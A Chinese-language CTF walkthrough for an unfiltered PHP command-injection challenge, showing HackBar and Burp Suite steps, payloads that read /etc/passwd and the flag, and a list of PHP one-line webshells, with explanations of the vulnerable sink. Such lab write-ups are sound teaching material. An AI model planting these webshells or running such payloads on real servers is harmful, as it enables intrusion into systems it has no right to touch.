2.1 页面直接给出了源码#

打开靶机，页面正文其实就是自己的 PHP 源码（因为最后一行是 highlight_file(__FILE__)，把自身打印了出来）。去掉大段教学注释后，真正有意义的就三行：

1
<?php
2
// ……中间是一大段教学注释……
3
system($_POST['a']);
4
highlight_file(__FILE__);
5
?>

2.2 从页面读出的三条线索#

2.3 判断结论#

1. 有回显：system() 是”执行命令并把输出打到页面上”的函数，所以能直接看到结果，不需要写文件再访问、也不需要外带（DNS/HTTP log）。
2. 无过滤：源码里没有 str_replace、没有 preg_match、没有黑名单数组。所以 ;、&&、|、反引号全部可用——这一关的定位就是”无过滤的入门关”。
3. 参数用 POST 传：$_POST['a']，所以请求方法必须是 POST，且 body 要符合表单编码。

2.4 利用思路#

cat 是”打印文件内容”的命令，出题人已经用 /etc/passwd 演示过了。那么：

1
把 cat 的目标，从 /etc/passwd 换成 flag 文件

Linux 题里 flag 的惯例落点是根目录。所以最终 payload 就是：

1
a=cat /flag

如果不知道文件名，也可以先让靶机自己报（纯黑盒三连）：

3.1 环境准备#

• 浏览器：Chrome / Edge
• 工具任选其一即可：
  • HackBar（浏览器 DevTools 内置版）
  • Burp Suite Community Edition v2026.8（新版 UI）
• 本关是 http:// 明文请求，不需要配置任何代理，也不需要安装 CA 证书。

3.2 工具 A：HackBar#

第一步：验证漏洞（出题人给的样例）

1
a=cat /etc/passwd

页面最顶部（源码之前）出现账号列表 ⇒ 命令执行成功。

第二步：直接读 flag

1
a=cat /flag

回显区顶部出现 flag 字符串，拿到即完成。

若想先确认文件名，第二步换成 a=ls /，看清楚名字后再 a=cat /flag。

HackBar 用的按钮：LOAD、EXECUTE、Use POST method 开关、enctype 下拉。 其余 SPLIT / TEST / SQLi / XSS / LFI / SSRF 本题统统用不上，别去点。

3.3 工具 B：Burp Suite（v2026.8 新版 UI）#

步骤 0：启动

弹出窗口选 Temporary project → Use Burp defaults → Start Burp。

步骤 1：开内置浏览器

Proxy → Intercept 页 → 右上角点 Open browser。会弹出一个 Chromium 窗口，代理已经自动配好。

顺手确认 Proxy → Intercept 顶部的 Intercept is on / off 开关是 off。 它要是 on，浏览器发出的请求会卡在队列里”一直转圈”，HTTP history 里半天看不到记录。 本题只需反复改 payload，用 Repeater 就够，不需要开 Intercept。

步骤 2：抓一条请求

1. 在内置浏览器里访问靶机地址，等页面完整加载完
2. 回到 Burp → Proxy → HTTP history → 找到 GET / 那条（Host 是靶机域名）
3. 选中它按 Ctrl+R（等价于右键 → Send to Repeater）

步骤 3：在 Repeater 里把请求改成 POST

切到顶部的 Repeater 标签，在左栏 Request 文本框里手动改三处：

改完的报文：

1
POST / HTTP/1.1
2
Host: 80-e173eef5-489c-40c6-b503-4dcd57d855a.challenge.ctfplus.cn
3
Content-Type: application/x-www-form-urlencoded
4
User-Agent: Mozilla/5.0
5

6
a=cat /flag

要点：

• Content-Length 不用自己算，点 Send 时 Burp 会自动重算。
• 原有的 Accept、Upgrade-Insecure-Requests、User-Agent 等头保留不动，不影响结果。
• 头与 body 之间的那个空行必须是真空行。若点 Send 后响应毫无变化，先切 Raw 视图确认空行还在。
• 编辑器末尾不要留多余字符。

步骤 4：发送并读结果

点左栏上方的 Send → 右栏 Response 立刻刷新，flag 就在响应最顶部（在 highlight_file 打印出来的源码之前）。

步骤 5：继续换 payload

只改 body 那一行，再点 Send。一次只发一条，别用 & 拼接多条命令，否则输出会混成一坨难读。

3.4 两套工具对照表#

3.5 结果#

1
a=cat /flag

响应顶部返回：

1
<flag 内容>

提交该 flag，本题完成。

5.1 system() 为什么能执行系统命令#

system() 是 PHP 的一个命令执行类函数：它把参数字符串交给操作系统的 shell（Linux 下是 /bin/sh）去执行，并把命令的标准输出直接写到 PHP 的输出流里，也就是最终出现在页面上。

所以下面这一行：

1
system($_POST['a']);

当 a 的值是 cat /etc/passwd 时，实际等价于服务器执行了：

1
cat /etc/passwd

**用户可控的数据（$_POST['a']）流进了一个危险函数（system）——这就是漏洞的通用公式。**至于危险函数是哪一个，只影响 payload 的写法，不影响利用思路。

5.2 命令执行 vs 代码执行：分水岭在哪#

这一关最直观的自证方式就在第一关的经验里：你发 a=cat /etc/passwd（不带分号）也能成功，说明这段字符串没被当 PHP 代码解析，而是被交给了 shell —— 这正是”命令执行”而非”代码执行”的证据。

5.3 Content-Type 为什么必须带#

HTTP body 只是一串裸字节，服务器要知道”按什么格式解析”完全依赖 Content-Type 头。

PHP 的 $_POST 超全局数组只在 Content-Type 为下面两种之一时才会被填充：

• application/x-www-form-urlencoded
• multipart/form-data

如果这个头缺失、或写成 application/json，$_POST 会是空数组，body 只能用 file_get_contents("php://input") 以原始字符串读到 —— 本题的 system($_POST['a']) 就会空转，页面毫无反应。

HackBar 里感觉不到这个问题，是因为它的 enctype 下拉框自动帮你加了这个头；Burp 里没有这个下拉框，必须手写。

5.4 为什么回显出现在页面最顶部#

源码的执行顺序是：

1
system($_POST['a']);        // 先执行 —— 命令输出立刻吐出
2
highlight_file(__FILE__);   // 后执行 —— 才打印源码

所以命令的输出排在源码之前。排查时别只盯着下面那坨源码，往上翻第一屏才是结果。

5.5 注释里那个分号（a=cat /etc/passwd;）#

这个 ; 不是 PHP 要求的（system() 作为函数调用本身以 ; 结束的是整条 PHP 语句，而不是参数内容的一部分）。payload 里的 ; 是给 shell 的命令分隔符，作用是”上一条命令结束后再执行下一条”，写在末尾时后面是空命令，等价于没有。

写不写都行 —— 你第一次没写也成功了。

5.6 这一关为什么不需要任何绕过#

页面上没有出现任何过滤痕迹（没有 str_replace、没有 preg_match、没有黑名单数组），源码核心就三行。所以 ;、&&、||、|、反引号、$() 全部可用。

这不是出题人偷懒，而是关卡设计：Level 3 的定位就是”无过滤的入口关”，用来让做题人先确认”我确实能执行任意命令”。从 Level 4 开始才会逐步加限制。

5.7 同类危险函数全景（后续关卡会换 sink）#

通用公式：用户可控的数据 → 流进了危险函数 = 漏洞。

命令执行类

代码执行类

一句话木马家族（写马 / 自检用）

1
<?php @eval($_POST['a']); ?>        // 最经典
2
<?php system($_GET['c']); ?>        // 命令马
3
<?= `$_GET['c']`; ?>                // 反引号马（最短）
4
<?php $_GET['f']($_GET['a']); ?>    // 动态函数马

5.8 找 sink 的通用排查链#

1. 找入口 —— 用户输入从哪进来（GET / POST / Cookie / Header / 文件）
2. 找危险函数 —— 在源码里搜上面那些名字
3. 判版本 —— /e、assert 字符串执行这类老特性还灵不灵（phpinfo() 最直接）
4. 看过滤 —— 黑名单拦了什么、漏了什么（大小写、编码、关键字拆分）
5. 查 disable_functions —— 目标函数是否被禁用（phpinfo() 里能看到）